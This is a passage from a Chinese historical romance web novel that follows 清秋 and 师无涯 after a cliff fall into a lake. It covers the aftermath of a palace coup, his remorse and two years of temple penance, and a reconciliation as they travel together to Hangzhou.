“指挥使来得正好,”乌尔箭指清秋,勾唇轻笑,“愣着做什么,杀了付娘子,公主重重有赏。” 宫女见师无涯前来,飞身上前,清秋耳尖一动,身后长风破空,她不能再等了,清秋决绝地回过头,三步并作两步,侧身往断崖处倾倒。 师无涯瞳眸震颤,手腕轻转挑出长枪,长□□破束缚清秋双手的麻绳。 “清秋——!” 清秋只觉后背腾空,全身心都如浮萍无处可依,寒风卷起她的长发,凌冽的风刃划拉着衣裳。 师无涯心头陡然一颤,他起身跃下马背,伸手去抓清秋的手,可他未能抓住清秋的衣角,就连衣袖都未曾摸到。 月色凄凉,只差一步,他就能救下清秋。 十二年间的光阴化作须臾片刻,师无涯阖目落泪,扑通一声,跪到在崖边。 乌尔轻蔑地挑眉,眼中不屑,手中利箭搭在弦上,冷道:“师指挥使害得公主计谋落空,合该跪地忏悔,以死谢罪。” 语罢,乌尔指尖掸开,利箭飞驰。 说时迟,那时快。 乌尔箭术了得,百步穿杨,只他所想皆能被射穿,可他没射中师无涯。 月光勾出银甲的轮廓,寒风吹来,师无涯转身没入山崖,随清秋一道坠入断湖中。 师无涯周身无力,心口仿佛堵塞着山川河流,有一瞬间他能感觉到天崩地裂,万物倾颓。 他任由呼啸的山风吹刮衣袍,银甲颇重,他下坠得极快。 薄雪银光,远山飘渺,恍惚间师无涯万念俱灰。 两年前,师无涯见清秋坠下金明池,那时的清秋是否也如他这般。 除却生死之外,清秋心中只有他。 往事浮现,师无涯心如死灰,剜心蚀骨般的痛苦由心口蔓延至四肢百骸,疼痛牵扯着他最后的一丝理智。 师无涯后悔的想,倘若当初他将话好好说,是否就是另一番结局。 从前的十二年,他待清秋实在算不上好。 他所谓的爱和喜欢,清秋都未能感受到,师无涯心口闷涩,眼角余泪滚滚,灼烧着脸庞。 昭宁六十一年的初见,是他此生重逢最后的一个亲人。 师无涯回忆着与清秋的初见,昭宁六十一年的冬日是师远的葬礼,师无涯为师远守灵,他跪在官署的灵堂前,辞别世上最后的血亲。 开春后,付彰将他接到付家,他冷着脸看清秋闯进他的眼瞳中。 那时的清秋,小小的一只,活像糯米团子,讲着侬侬吴语,笑不见眼地喊他“无涯哥哥”。 起初,他对清秋敬而远之,只愿待在一方天地,躲在灶房里回忆着父母兄弟的模样,师远的去世使他变成了漂泊无依的芦苇。 付家人待他再好,也只是因那一纸婚约。 可若没有婚约,他的父母没有去世,他是否也会像清秋一样,在父母膝下长大,有着兄弟的陪伴。 清秋是付家人的掌上明珠,付彰和韦南风的一举一动都像是一根刺扎在他的眼中。 师无涯无法忽视这一点,清秋有着父母姊妹的疼爱,可他什么都没有,只有那一纸婚约,彼时的清秋好似天上月,而他只是万千守护星中的一个。 至此,他不得不承认,他配不上清秋。 念头一生,就如同雨后春笋,在师无涯心底生根发芽,日益增长,他扭曲偏执,想要凌驾于付家之上。 自来汴京之后,他便忘了该好好说话,忘了如何与清秋表述心迹。 两载别离,清秋青山寺修行,他出走汴京投军。 直至如今,他也未能对清秋说一声“抱歉”,可一切都来不及,他再也无法对她说一句话。 倘若有来世,师无涯想他再也不会如此行事,彼此争吵的那些话犹如刀剑利刃扎进对方最深处,师无涯后悔那些脱口而出的话,后悔他和清秋就此遗憾终生。 坠入断湖的那一刻,冰凉刺骨的冷水灌进耳鼻,师无涯毫无求生意志,不做挣扎,任由湖水灌满口腔肺腑。 他曾有无数次机会对清秋好好说话,是他亏欠清秋十四年。 不求同日生,但求同日死,葬于天地湖水中。 师无涯的意识逐渐朦胧,感受着身体的坠落,湖水的波澜,不多时,他只觉身体轻盈无所依,好似游离天地间的蜉蝣。 —— 昭宁七十五年,正月初一,宫变平息,二大王杨岚流放岭南,贬为庶民,张氏一族永不入仕,张贵妃自裁谢罪,平乐公主下落不明。 付高越救驾有功,封保灵侯,同年何彬被封为护国公,杨淮蔺也因此被封为左右金吾卫上将军。 宫变一事牵连甚广,京中大批官员外放下贬,其中以盛家为首,连带着一些京官受牵连。 宫变当日,王恒与付远衡被困在翰林院,付远衡因赐婚一事,不由得开解王恒,王恒未置一语,只含笑回应。 王淑妃在宫变中被张贵妃刺杀,为安抚王国公一家,官家下旨追封其为贵妃。 王恒听闻此事,哀恸三日,决意为姑姑守孝三年。 —— 昭宁七十五年,春三月,万物生发,西大街鼓乐声起。 付高越与盛婼婚期已至,由何彬亲自送嫁,付高越亲迎,付宅门前挂满红绸,锣鼓喧天,好不喜庆。 金乌高悬,长空万里,杏院修缮后焕然如新,门前枯死的青梅树竟生出嫩芽。 卧房书案前,菱花窗下,有一纤瘦美人,眉目灵动,垂眸静静温书。 春日气息盎然,她着天青色牡丹缠枝短褙子,绾着乌发,妆容清淡,犹如远山云雾。 云露轻叩房门,喜道:“姑娘,新娘子要进门了,夫人命我来催催姑娘,这会还不过去?” “不急,盛姐姐才不会这么容易进门。”清秋鸦睫轻颤,眸光盈盈,唇畔含笑。 清秋缓缓起身,放下书卷,上前推开门,见着眼前枝叶茂盛的青梅树,一时恍然,不由得怔了一会。 “姑娘,说来也怪,这棵青梅树本该枯死了,先前又被大火烧了一场,竟还生得这样好,实在是令人纳罕。”云露望着眼前的青梅,感叹道。 清秋敛目,思忖道:“万物有始有终,皆是造化,或许它本不该死。” 宫变已过去好几月,清秋在宅里闷得慌,待到付高越办完婚事,清秋打算回一趟青山寺。 是夜。 春夜露重,银辉满地,月光照进长廊。 李妈妈来杏院请清秋去正房,清秋正在灯下回信,前阵子尹惜来信说她与贺清即将回京赴任,待到回京之后尹惜要考她。 清秋叠好信笺,随李妈妈一道去正房,月下枝叶绿影轻晃,光影绰绰。 “李妈妈,母亲身子近来可好些了?前些日子忙着二哥哥的事想来是撑着的,虽有嫂嫂帮忙,母亲却不肯放心。”清秋温声问道。 李妈妈眼尾生出细纹,鬓间发丝斑白,她含笑道:“夫人这是心里高兴,难得解决了哥儿的大事,现如今只等着姑娘的一桩事了。” 清秋的婚事虽已定下,可她不松口,这桩婚事亦是遥遥无期。 “李妈妈,我的事儿母亲晓得,如今也没有别的法子,能拖一日是一日,到底是推不开的,只能耗着。”清秋轻叹一声,心下已然接受。 当初师无涯向官家求的圣旨到如今都不能摆脱,先前付高越向请官家收回圣旨,可官家只一句“君无戏言”便将他打发了。 官家听说他们先前有一段恩怨,不急着让他二人成婚,但却不肯收回成命。 不过师无涯如今不在汴京,据传他回了杭州,清秋不知他为何要回杭州,与她无关。 当初在断湖水底,她愿舍弃恩怨救他已是仁至义尽,倘若他敢以圣旨要挟,她也不必顾及,往后摊上个谋杀亲夫的名义也就罢了。 她如今水涨船高,父兄在朝为官,官阶名声在外,京中对她赞誉有加,称她和师无涯是天生一对,颇为般配。 清秋倒不在意这些虚名,旁的人不晓得,自然觉得她和师无涯般配,可个中苦楚,只有她自己明白。 青梅竹马是良言,她和师无涯却不是良配。 阳春三月,汴京桃红柳绿,金明池畔又添佳人才子。 临去青山寺前,清秋去了一趟国公府,她本想在信上说明她和师无涯的事,可她和王恒之间,好像不能用一两句话说清。 观墨引清秋去见王恒,王恒立于八角亭下,庭中松柏青竹摇曳,春风吹渡,他于春色中回眸,眸光平和温雅。 “常王郎君,许久不见。”清秋凝神望着他,多日不见,王恒似是清减许多,眼下浮起些许乌青。 王恒微笑颔首,抬袖邀她入座。 清秋上前,颤颤抬眸,轻声道:“我与师郎君并非王郎君所想那样,从前我说过的话皆是出自真心,我从未对王郎君说过谎。” “我明白。”王恒垂眸斟茶,眼底并无波澜,“付二姑娘,愿意嫁给我是真的,恨师将军也是真的,只是待我并无旁的情意。” 清秋眼睫低垂,胸口郁闷,被王恒戳穿心思,她不觉得窘迫,只觉得对不住他。 他愿意嫁给她,愿意做他的妻子与他举案齐眉,可唯独给不了王恒想要的那份真情。 亏欠。 她对王恒有一份亏欠,这份亏欠清秋无力偿还,唯一的法子,好像就是嫁给他。 王恒将手中茶递给清秋,温声道:“付二姑娘,世上事非常也,我信这世上有‘精诚所至,金石为开’,也信竹篮打水,可付二姑娘,你千不该万不该要用常也来衡量我的真心。” 清秋因着一份歉意,想要回应他,可他所求之物并非歉意,而是她的一分真心。 这几个月来,王恒辗转难眠,他当年在谢师宴所见的姑娘怎么就是这般的模样,那一双明亮如水的眼眸,分明是她,可为何又总含了一分悲切。 他所见到的是清秋,至始至终都是清秋,直到前些日子,王恒才惊觉,他所钟爱的那姑娘是明媚可爱的,眉如远山,眸若秋水。 是清秋,亦不是清秋。 到底是相逢恨晚。 第69章 一步错,步步错 长月高照, 汴京亮如白昼,长街巷尾嬉闹声不止。 清秋只身一人,沿着长街独行, 她想她对王恒的亏欠恐怕一生都不能了结, 倘若她早些明白, 是否就能避免一切的发生。 王恒在青山寺等她两年,陪她烹茶酿酒,她以为只要能满足王恒的心愿, 就能抵消那份情意。 ——“世上事非常也。” 世上的事并非平衡,得失不尽相同, 不必勉强。 她直到如今才明白。 清秋回到付宅, 已是戌时,云露正在杏院前打理庭院,韦南风托人寻了好些花种在院里。 云露见清秋回来, 上前笑道:“姑娘,这些都是先前你喜欢的, 夫人让李妈妈送了些来,房里还有好些糕点果子,今日姑娘不在, 晚间师郎君来过了。” 闻言, 清秋凝眉,疑道:“他为何而来?” “倒是向夫人说了些话,只说是来寻姑娘说话的, 旁的我不知道了。”云露回道。 这倒是稀奇。 往日师无涯从不走正门,有事径直翻了她的院墙了事。 清秋心下生疑,倒也没去深究,再过两日便是尹惜回京的日子, 她答应尹惜要去接她。 瞳瞳翻年后比往日胖了一圈,清秋抱起它在青梅树下玩了好一会,见天色不早,清秋起身将瞳瞳抱回猫笼,只刚一进屋便听外头有动静。 瞳瞳懒懒地喵了一声,清秋眸光一转,捧着灯要去关窗。 “清秋别关。” 师无涯将手叩在窗沿,眼中倒映一豆灯火,清秋微微抬眼,见是师无涯毫无惊讶,只淡淡地盯着他,看他要做些什么。 清秋不语,师无涯眸光轻颤,急切道:“我有话同你说,先前你不愿见我,如今还是不肯么。” 清秋思忖片刻,认真地点点头,她就是不愿见他。 师无涯蹙眉道:“从前种种,是我不对,我未将话同你说清楚,如今你可愿在听我一言?一句话,半个字,你都不愿听?” 清秋微怔,愣了半晌,道:“你说半个字我听听。” 师无涯眉头拧了又拧,实在不知道这半个字该如何说。 “师无涯,我与你没什么好说的,你曾救过我,也伤过我,我如今也救了你,你我之间已经扯平了。”清秋淡声说着,眼中平静无波。 师无涯的言行再牵不起她心中的情绪。 师无涯摇了摇头,眉心长蹙,“不是这样的,我待你姐姐无半分情意,从前因我的错,才使得你伤心难过,清秋我待你是有真心的。” “真心?几分真心,师无涯如今再说这些又有何用,你求了官家圣旨,我退不了婚,你也娶不了我,何必呢。”清秋轻叹道,“师无涯,我不会原谅你,此生绝不原谅,旁的事尚有转圜余地,唯独这件事没有商量。” 言罢,清秋紧叩窗棂,掐了灯烛。 合窗之后,清秋并未睡下,听到师无涯翻身出院后,清秋才重新燃了灯烛,从书架下取出一方红木匣子。 她和师无涯之间,纠缠已久,牵扯颇多。 细数相知相伴的十二年,清秋不知该如何面对心底的感情,她和师无涯之间究竟该何去何从,清秋心中尚无定论。 清秋忆起那日断湖底,她坠入湖中本欲凫水逃生,却不想刚睁眼,就见师无涯坠下湖中。 师无涯本会凫水,可他在彻骨的湖水中毫无动作,俨然一副死样子。 在断湖下见到师无涯,清秋心中思绪万千,终是捞了他一把,就当作是换了当初的恩情。 那日的月光,就如此夜一样,静谧安宁。 清秋在湖边看着昏迷的师无涯,指尖不自觉地描绘着他的轮廓,仿佛又回到旧宅相伴的时光,只可惜寒风一吹,清秋便醒了过来。 她和师无涯是什么时候套上了死结。 为何就是解不开了 清秋无法替从前的自己原谅师无涯,却也无法真正的恨他,爱恨交织在一处,实在是太痛苦,无人能解开她心底的疑惑。 那日过后师无涯先后来府上造访过几次,却都被韦南风挡了回去,一是清秋不愿见师无涯,二是韦南风不愿见师无涯。 这些时日清秋偶尔去陪吕汀英,或是陪着盛婼说说话,她们妯娌之间无甚矛盾,盛婼性子温和许多,吕汀英常在清秋跟前夸赞,每每说及此,清秋都藏不住笑。 四月十五,是尹惜和贺清回京的日子,清秋如约去接尹惜,尹惜神色不错,眉目温柔,见着清秋便将湘令扔给贺清。 “我与清秋有些话说,夫君先回罢。”尹惜唇瓣轻扬,含笑捏了捏湘令的脸。 贺湘令皱眉甩开尹惜的手,扯了扯贺清的袖子,嗔道:“爹,娘亲眼里哪儿有我们,这才到汴京呢” 闻言,贺清抬手捂住贺湘令的嘴,轻咳一声,温声道:“早些回来,少吃酒。” 尹惜颔首,不听贺湘令的话,见娘亲如此,贺湘令龇牙咧嘴,气鼓鼓地道:“娘亲!我今夜就要将你藏在箱子里的酒都倒掉!” 尹惜面上笑得温柔,心底却打了寒颤,回头眯眼笑道:“湘令,仔细你的皮。” 贺清拽着贺湘令的手往回走,“我与湘令先回去,你早些回来。” 清秋微怔,站在一旁不知该说些什么。 尹惜回过神来,挽上清秋的手,笑道:“汴京一别,已有一载未见,你倒是无甚变化,我已听闻你的亲事了,倒也没什么,我留给你的话,你可参透了。” 清秋摇了摇头,尹惜留的那句话实在难懂,直至如今她也未瞧出端倪。 ——“满腹空心思,到头是始终。” 尹惜眸光忽暗,将那句话揣摩一阵,她站在故事的终点,已观定局,自然明白何谓始终,可清秋至始至终都只是来时人,不知去时路。 不过这因果,尹惜无法和清秋讲明。 她重活一遭,不过是有几分机缘,道破天机反倒不好了。 “始终嘛,清秋,种什么因得什么果,这果就是你埋下的因,所谓机缘也从这里来。”尹惜思忖道,“这本不是什么要紧话,你悟得多少算多少。” 清秋和师无涯,在尹惜看来是两世情缘。 只可惜尹惜上一世,与付家并无太多接触,只晓得付清秋和师无涯受官家指婚,终了是成了夫妻,成眷侣还是怨侣,尹惜无从得知。 清秋似懂非懂地点点头,所谓因果,清秋也曾读到过,或许是理解的太过表面,尹惜所说的话,清秋实在堪不破。 尹惜与清秋在飞云楼小酌片刻,还未待多久,贺清便遣人来催,灵霜和冬月齐齐来劝。 “好姐姐,快回吧。” 清秋见势起身,趁尹惜分神之际,清秋转头跟着云露从后面绕出飞云楼。 —— 从满城春色至金桂飘香,师无涯曾到付宅无数次,次次被拒,锲而不舍地来往半年。 清秋期间回过几次青山寺,好巧不巧就在客堂撞见师无涯。 元智拉着元圣躲在客堂廊下,侧耳倾听。 青山寺枫林簌簌作响,火红的枫叶烧至群山首尾,与天边红霞相争。 “好巧,师郎君也在这儿。”清秋眸光平静,敬完香后自大殿内走出。 师无涯候在殿外廊柱下,漆黑的眼眸紧紧盯着她。 “不巧。” 清秋无言以对,给师无涯台阶下,他还站在上边不肯下来了。 “巧与不巧,都不甚重要,师郎君你挡着我的路了。”清秋左右试探,谁知师无涯像是一堵墙,无论如何都要挡在她身前。 清秋仰头,眉目含嗔,“你要作甚?师无涯,这是在寺里,佛前殿下,你有什么话是要拦着我说的。” 师无涯剑眉深蹙,垂下眼睫注视她。 “清秋,我有许多话想和你说,许多话,十二年来所有不曾说过的话,我该早些同你说的,如今算晚吗。”师无涯眼眶泛红,眼尾勾出一道泪痕。 清秋阖目,微微叹气,淡声道:“师无涯,说那些话又有何用?再无别的意义,你送来的信,说过的话,我都明白。” 暮色四合,晚霞犹如碎金落地,洒满青山寺的每一处。 师无涯逆着霞光,垂首注目。 清秋凝眉道:“师无涯,很多事情都不一样了,你我有过最深刻的裂痕,十二年是真,我曾喜欢你是真,如今恨你也是真,我如今也不愿再嫁给你。” 语毕,清秋轻轻推开师无涯,迎着霞光,回首道:“师无涯,放手吧。” 师无涯眸光一凛,咬紧牙关,“我不放手。” “可是因两年前,我与你说过的那些话,又或是因为旁的事,清秋你我该把话说清楚,而不是糊里糊涂的绕过去,纵使你恨我,你怨我,你也告诉,我愿意做任何事。” 师无涯眸光颤动,眼底泪珠划过,他轻声道:“为了你,我愿意做任何事。” 清秋顿步,眼睫轻抬,“师无涯,我要你敬重我。” “倘若你做不到,何谈与我成为夫妻,又何谓‘喜欢我’你敬重我,我便原谅你。”清秋一字一句地说着。 她和师无涯之间,隔阂最深的那道墙,便是出自“敬重”二字。 从前的师无涯不愿正眼看她,忽视她的一切,将她所有感受抛掷脑后,如今师无涯问她因何恨他,这就是其中缘由。 “师无涯,我曾为你几度自戗,修行两年,你如何还我?”清秋眸光平静,直直地看着师无涯。 师无涯喉间哽咽,忆起清秋往日为他所作的事,心头不自觉地悔恨,清秋所受的苦,皆是由他而来。 跳金明池,深秋重病,寺中修行 他也曾想将清秋捧在手心,不知不觉间竟将清秋越推越远。 师无涯鼻尖酸涩,揽着清秋的下跪,泪如断线,呜咽道:“清秋,对不起我愿承你之苦,可否原谅我。” 清秋所受的苦,师无涯恨不能揽在自己身上,他仰目含泪,眼下红痣犹如朱砂,如此落泪,好不可怜。 “师无涯这是不一样的,你受了我所受的苦,难道我曾受过的痛苦就能抵消了吗?”清秋垂眸,眼中倒映师无涯颓然无措的模样。 师无涯墨色长袍在山风中荡漾,发尾红缨飘扬,在霞光中岿然不动。 清秋别开眼,轻叹道:“你若想跪,就在佛前忏悔,但是为你自己,却不是为我,你我之间是扯不平的,纵使有婚约在我也不愿嫁给你。” 语毕,清秋没入霞光,迎着暮色下山,师无涯垂首落泪,清秋不曾回首。 青山寺的红枫是汴京城内独一无二的景,城外红枫绵延,城内金桂飘香。 寂寂秋日,杏院青梅树枝头绿意盎然。 李家因宫变一事外放,付清岁与李飞青不日启程,清秋得知前去送行,城门前,清秋是第一回见到她这个姐夫。 李飞青书生意气,言行举止得体,挑不错来,可清秋总觉得这样的人无趣古板,跟在李飞青身边的李母直勾勾地盯着她们二人。 付清岁向李母请示,又向李飞青说明,这才挽着清秋到一旁说话。 清秋满目忧心,问了些近况,付清岁笑着应好。 二人静默半晌,付清岁唇瓣微张,几度启齿,却又咽了回去。 “清秋,姐姐对不住你。”付清岁倏然转身,捏着绣帕拭泪。 清秋尚未回应,便见城门前有一绛紫身影踏马而来,其人面容俊逸,眉骨极深,是位风流浪荡的世家公子。 杨淮蔺眉目紧锁,他映着秋光,踏碎枯枝,旁若无人的走近付清岁。 付清岁惊慌后退,颤颤抬眸,眼底蕴着水气。 “跟我走。”杨淮蔺高坐马背,朝她伸手。 付清岁仰目,摇头道:“中郎将曾在我这儿落下一物,如今我也该还了。” 语罢,付清岁从马车上取出青罗伞,云纹青罗伞似春日雨后的朦胧远山,付清岁双手捧着青罗伞,唇瓣轻弯。 杨淮蔺微怔,出神地望着青罗伞。 那日长街小雨,他赠伞于她,解她风霜之苦,可如今谁又来解他的相思苦。 两年,他等错了人,亲眼看着心上人嫁与他人。 付清岁见他久久不语,出声提醒道:“杨郎君,一步迟,步步迟,犹如此伞。” 付清岁曾做过攀高枝的梦,只是杨淮蔺这根高枝,到底是没攀上,一步错,步步错。 倘若她知道杨淮蔺待她情深意重,当初她便不会下嫁李飞青,落得婆母蹉跎,姬妾成群的下场。 纵使再低的门户,也拦不住当家的纳妾的心。 她已没有回头路,当日长街尽头,若杨淮蔺将她认出,便不会有今日的结局。 【终章】 第70章 经年之后,仍如当年 付清岁终是没和杨淮蔺走, 杨淮蔺犹豫许久,收回青罗伞。 清秋和杨淮蔺在城门前送付清岁离开,见马车走远, 再也瞧不见一点影, 清秋才回过神来, 杨淮蔺已翻身下马,立于清秋身边。 “你姐姐是个很好的姑娘。”杨淮蔺眺望远方,分明已瞧不见任何踪影。 清秋敛目垂眸, 轻声道:“若是早些,再早些就好了。” 若是付清岁早些将话讲明, 若是师无涯早些将话说清楚, 是不是一切都不一样了。 杨淮蔺余光瞥向清秋,似想起什么,笑问:“你不是与王恒情投意合?如今将要嫁给师无涯, 心中是何感受?” 清秋略一思索,沉声道:“无甚感受, 中郎将不必从我这儿寻乐子,当年的事谁又看得清楚呢。” 因将清秋错认成付清岁,杨淮蔺心有不满, 故而拿话刺她, 可此事说到底是他认错了人,被清秋挑明他也不再同她说话,转身离去。 —— 青山寺一别后, 清秋已多日未见师无涯,师无涯也不曾来宅里见她,秋日一晃而过,清秋每日温书练字, 闲时便与盛婼说说话,出门的日子愈发少了。 师无涯向官家请辞,官家念他婚事不成,心有不忍,准他婚事落定后再回京。 官家本不愿见这婚事一拖再拖,只是师无涯恳求他再给他一些时日,这一给就是两年,他入青山寺两年,这两年师无涯不曾下山,就连清秋来时他也避着。 元智笑师无涯在寺里做贼,空绝领他在寺中修行,粗茶淡饭,潜心礼佛。 冬日夜里元智窝在被里,师无涯坐在亭子里,元智睡不下,便起来倒茶吃,见着院里灯烛犹在,推门而出。 师无涯坐在亭下,目光远眺。 院中覆着一层薄薄细雪,元智小心翼翼地走近,坐至师无涯身旁。 “师郎君还不睡,明日早课可能起来?”元智打了个哈欠,倒了碗冷茶。 师无涯目光微沉,静静问道:“从前清秋是否也会如此,那时的她,又在想什么?” 元智皱眉道:“师郎君问错了人,付娘子住在那边客堂,我不晓得哩。” 师无涯来青山寺已有一年,每日规矩行事,空绝说什么他便做什么,这样的师无涯和元智印象中的人好似不太相同。 官家赐婚一事,元智略有耳闻,也明白王恒和清秋的婚事告吹。 元智想了想,假使付娘子要嫁人,他还是站在王恒这边,只可惜有缘无分。 —— 师无涯青山寺修行两年,此事清秋不知,清秋只晓得她在汴京过了安稳平静的两年。 韦南风因官家圣旨断了为清秋再觅亲事的念头,如今师无涯又不肯来付宅,一拖便是两年,清秋竟快至桃李年华。 寻常人家的姑娘,已是嫁做人妇,唯独清秋还在闺中。 韦南风心里愁,却也不能急,吕汀英再三安慰,“母亲,官家赐的婚,谁敢置喙?” “我自然不敢说些什么,免不了别人嚼舌根,落在别人眼中,还成了他不愿娶清秋。”韦南风额筋突突直跳,心里焦灼。 盛婼见韦南风气急,连忙斟茶送至韦南风手边,“母亲,清秋向来性情好,旁人不晓得,母亲还不明白么。” 韦南风望她一眼,心头哽了一口气。 “罢了,你们歇着去罢。”韦南风摆摆手,李妈妈上前打帘送客。 李妈妈笑道:“路滑雪重,夫人们小心些。” 盛婼与吕汀英出了正房,吕汀英因事务繁多,又近年关便先一步离开,盛婼见她离开转头去了杏院。 庭中松柏恒青,积雪消融几分,廊下倩影一闪而过。 杏院里清秋正在窗下打整尹惜送来的典籍,盛婼径直推门而入,清秋虽未见其人也知是谁来了。 “盛姐姐,这会怎么来了?”清秋支开菱花窗,清点好书卷,转身坐至书案前。 盛婼咬唇,沉声道:“你母亲不喜欢我。” 韦南风待她和待吕汀英分明是两种态度,就是再愚笨,她也能瞧得出来。 清秋柳眉轻蹙,眸光一转,笑道:“盛姐姐,怎么会,母亲向来是刀子嘴豆腐心,怎会不喜欢盛姐姐,盛姐姐近来是不是太累了?” 盛婼垂眸叹气,趴在桌边,“我明白的,你母亲因我名声不好,自然不喜欢我,可清秋你也知道我嘴笨,要我周旋圆滑,是不能够的。” 清秋起身,安慰道:“自然是不能够的,盛姐姐别再说什么你母亲我母亲的了,叫别人听了倒不好。” 当初吕汀英劝韦南风答应这门亲事,清秋便知道盛婼进门后恐怕要熬一阵好的,韦南风不喜盛婼,但有吕汀英在,也不至于为难她。 此事需要些时日,清秋眸光一转,笑道:“盛姐姐,母亲近来烦忧,你不妨多和大嫂嫂说说话,再者说二哥哥近来不是在宅里,何必日日都去寻母亲呢。” 前半句无甚奇怪,只是这后半句叫盛婼红了脸。 盛婼骂了清秋句“不知羞”便匆匆离开。 清秋掩唇轻笑,盛婼只刚走,云露便快步跑来,顺了顺气,轻喘道:“姑娘!姑娘!师郎君来了!带着聘礼来了,还有官家身边的林都知也来贺喜了。” 言罢,清秋忙换了身衣裳,虽云露在廊下快步穿行。 正堂内暖香四溢,林都知端坐上首,韦南风一旁赔笑,师无涯坐于坐下首,吕汀英与师无涯对坐,清秋一来,师无涯便站起身来。 林都知见她来,笑道:“官家因师郎君在寺中修行两年,如今才回京,托着婚事两年,实在是不合礼数,这才命我备下厚礼向付二姑娘道声不是。” 两年,师无涯未来寻她的这两年,是去了青山寺修行,当初在大殿前师无涯说要承她之苦,难道他真如此做了。 清秋微怔,目光落在师无涯身上,他着绀色劲装,眉眼深沉,少了年少时的慵懒散漫,从他的眼眸中,清秋仿佛见到青山寺里古井无波的师无涯。 师无涯和她一样,不是一个沉得住气的人。 两年竟是如此的快,光阴从她的指尖溜走,消磨了她对师无涯的爱恨,到如今再见才是真正的平静。 师无涯箭步上前,目光清和,略带歉疚。 “清秋,从前你答应过我一件事,如今能否应我。”师无涯压低声音,目光灼灼地盯着她。 清秋眼睫扑闪,仰头望着他的眼眸,岁月沉寂中,再度交汇的目光好似一汪清泉,渐渐磨蚀了过往。 “何事?” “陪我回一次杭州,我做你的哑奴,不言不语,可好。”师无涯疑了半晌,抿唇道,“你若不愿成婚,我等到你愿意,天长地久,我等你。” 此话一出,叫堂上的一众人纷纷别开眼。 韦南风眸光忽沉,忆起往事,心头生出几分不安。 清秋踟蹰半晌,本欲回绝,却听韦南风低声道:“应了他罢,清秋。” 韦南风不喜师无涯,付宅里人人皆知,可现下却替师无涯说话,清秋心下讶然,鬼使神差地点了点头。 师无涯喜不自胜,几度抬手想要抱她入怀,却又因不合礼数,收回手,只满目欢喜地看着她。 堂外大雪纷落,汴京满地清白,霞光渐起,铺彻长空。 酉时三刻,韦南风用过饭后,单独留下清秋。 正房内暖炉生香,临窗小几上摆放着几枝金黄腊梅,更添意趣。 “母亲,先前为何要替师无涯说话?”清秋坐至韦南风身边,韦南风垂眸叹气,从妆奁盒子里取出一叠文书。 清秋接过文书,一一过目,几页纸上皆是财产单子,但却并未说是做何用的。 清秋正纳闷,韦南风开口道:“这是师家留给师无涯的遗产,良田铺子,黄金首饰皆在里头,先前你姨母说的那番话,你可还记得?” 韦南絮曾说付彰动用师无涯聘礼的事,清秋自然记得,此事虽是付彰做得不对,但聘礼已补齐,只要不差一丝一毫倒也无甚关系。 “当年,师无涯曾用家产作聘礼,可我回绝他了。”韦南风停顿片刻,复又秉着一口气道,“那时他不过七八岁,那里知事,我便只当他说笑,从未当真。” 清秋眸光凝滞,不自觉地攥紧文书,不知为何她心底泛起一阵酸意。 在韦南风眼中那时的师无涯或许是个孩子,可于师无涯而言,自父母亡故后,他便比旁人敏感早熟,那绝不是玩笑话。 清秋眼中水雾氤氲,恍惚间记起师无涯八岁时曾在灶房割腕。 “可是母亲,我从小就喜欢他,母亲不明白吗,还是不愿让我嫁给他。”清秋眸中含泪,未曾落下。 韦南风自知理亏,别过头,哽咽再三,“清秋,那时的他配不上你,我情愿你攀高枝,做凤凰梦。” 清秋抿紧下唇,鼻尖一酸,泪珠滚落。 “母亲,可我心里只有他,我日夜都盼着能嫁给他,我与他再回不到从前了。” 她对师无涯的喜欢,自少时起便不从断绝,清秋明白韦南风为何看不上师无涯,可当真有这样一个机会摆在她面前,她是想要的。 她和师无涯不该是这样的,若那时的她知道师无涯也喜欢着她,或许后来的事,都不一样了。 师无涯对她曾有过真挚的喜欢,以全部家产下聘,想要娶她为妻,而那时的她,也愿意嫁给她。 清秋止不住泪,径直掩面痛哭。 韦南风心疼清秋伤心,忙将她抱进怀里,心跟着她抽泣的声音发紧。 “是母亲的不好,若我问一问你,问问你,也不会叫你离家两年,为他伤心断肠,往后,往后我再不拦着你,清秋我是盼着你好的。” 韦南风随之落泪,轻抚着清秋单薄的后背。 清秋扑进韦南风怀里,放声痛哭,抽抽嗒嗒的声音仿佛钝刀子割在韦南风心头。 她盼着清秋能享无尽荣华,盼着她余生无忧,却忘问清秋一句,你是否愿意。 “母亲错了,是母亲错了。”韦南风泪眼婆娑,搂着清秋哽咽。 见她二人如此,李妈妈背过身跟着擦泪,窗外雨雪霏霏,房内一片哽咽,好一阵才缓过劲来。 清秋留在正房与韦南风说了好一会话,搁在往日她恐怕已掀桌起身,但如今她能体谅韦南风的关心则乱。 因为在意,故而想将世上最好的捧到那人面前。 韦南风是如此,清秋也是如此。 她喜欢师无涯便将她目光所及的,最好的,都捧到师无涯跟前,不论师无涯愿不愿意,想要不想要,她都加诸在他身上。 他们好似都爱得狭隘,爱得自我,又爱得太过厚重。 —— 冬雪飘零,远山共色,杭州城内白雪覆地,枯枝败柳横斜在西湖岸。 云露在城内寻了些女使婆子,暂且雇了几人将旧宅清扫,上次回杭州已是两年前,旧宅内的陈设依旧,白墙落灰,青梅树挂着白雪花。 清秋这回没将瞳瞳带出来,一时怕瞳瞳再丢了,二是冬日跋涉,恐瞳瞳生病受寒。 庭中几棵松柏常青,尚未枯萎,杭州旧宅是三进院子,和汴京的宅子比起来不算大。 清秋在卧房温书,云露出门去采买新物件,师无涯只身一人守在院中。 杭州城白墙青瓦,白雪挂檐,日光犹如碎金洒在雪上。 清秋本欲让师无涯另凭屋舍,可转念一想,师无涯本就是她随行的小厮,做了她的哑奴,难不成还要便宜他偷懒。 书案前,清秋看腻了话本子,正欲上榻歇会,却听院中一阵叮呤哐啷的声音。 清秋心中生疑,拢起披风起身出屋,甫一开门,就见晴光入室,雪花飘落,师无涯蹲在青梅树下修缮秋千。 后院空旷,除却青梅树便是一方石桌。 师无涯侧身蹲在树下,薄雪碎光落在他肩头,他穿着墨色长袍,以布帛束发,手里攥着麻绳。 “你作甚?”清秋凝眉,疑道。 这架秋千已多年不用,早已荒废,师无涯愕然抬眸,见清秋立在廊下,他并未说话,只将手里的东西举起来,一个劲地朝她比划。 清秋慢步上前,还未踏出两步,就见师无涯快步上前,对她摇摇头。 师无涯目光急切,喉头滚动,再三启唇,却又倏然噤声。 从汴京到杭州,师无涯当真一个字未说,当初他在付宅说要做她的哑奴,便真成了哑奴。 “你修这秋千有何用,不过是陪你回一次杭州罢了,往后说不定就不再回杭州了,你也要修?”清秋故意刁难,师无涯紧咬下唇,低眉垂首。 清秋见他执意要修,不再阻拦,转身回屋小憩。 